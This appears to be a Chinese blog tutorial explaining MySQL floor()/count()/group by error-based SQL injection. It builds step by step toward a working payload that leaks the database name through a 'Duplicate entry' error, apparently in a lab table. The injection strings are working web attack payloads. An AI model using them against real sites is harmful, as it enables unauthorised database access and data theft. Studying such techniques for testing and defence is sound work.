floor()报错注入准确地说应该是floor,count,group by冲突报错
是当这三个函数在特定情况一起使用产生的错误。
首先看经典的floor注入语句:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
第一眼看起来有些懵逼,我们来从最基本的入手,最后在分析这个语句
首先是floor()报错产生的条件:
select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)
这里解释一下x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),这样做的目的是
让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释),
具体原理这里不再分析,最后会附上几个原理解释链接。
先看直接执行效果:
这里报的Duplocate entry错误就是我们想要的,报错的位置是在floor(rand(0)*2),关于那个 1 是由报错原理决定的,毕竟我们还没有写入任何我们想要的子查询,关于1出现的原因具体可以研究下原理。
下一步我们在报错位置处加上我们想要的子查询,用concat()拼接:
select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x
security就是我们想要的数据库名,1是上一步拼接的。
但现在是不是就可以直接使用了呢?还有几个步骤,先看直接拼接到and 后会怎样:
select * from security.users where id=1 and (select count(*) ,concat(database(),floor(rand(0)*2)x) from security.users group by x)
报了一个错,百度一番发现引发这个错误的原因很多,这里我是觉得我们构建的select语句的结果是一个结果表,而and 需要一个布尔值,也就是0或非零的值,那我们在嵌套一个查询,前面说了select 的结果是一个结果表,那我们就可再从这个表执行查询,这不过这次select的值是非零数字:
select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a
再啰嗦一句,最后这个a和之前解释的x的作用是一样的,是前面括号内容的别名,
sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。
嵌套进and后执行
select * from security.users where id=1 and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
大功告成
我们完成了刚开始引入的floo()注入语句
几个fool()原理解释:
https://www.cnblogs.com/xdans/p/5412468.html
https://www.cnblogs.com/litlife/p/8472323.html
http://www.cnblogs.com/xishaonian/p/6227405.html
转载指明出处
文章同步到我的博客:http://119.23.249.120/archives/276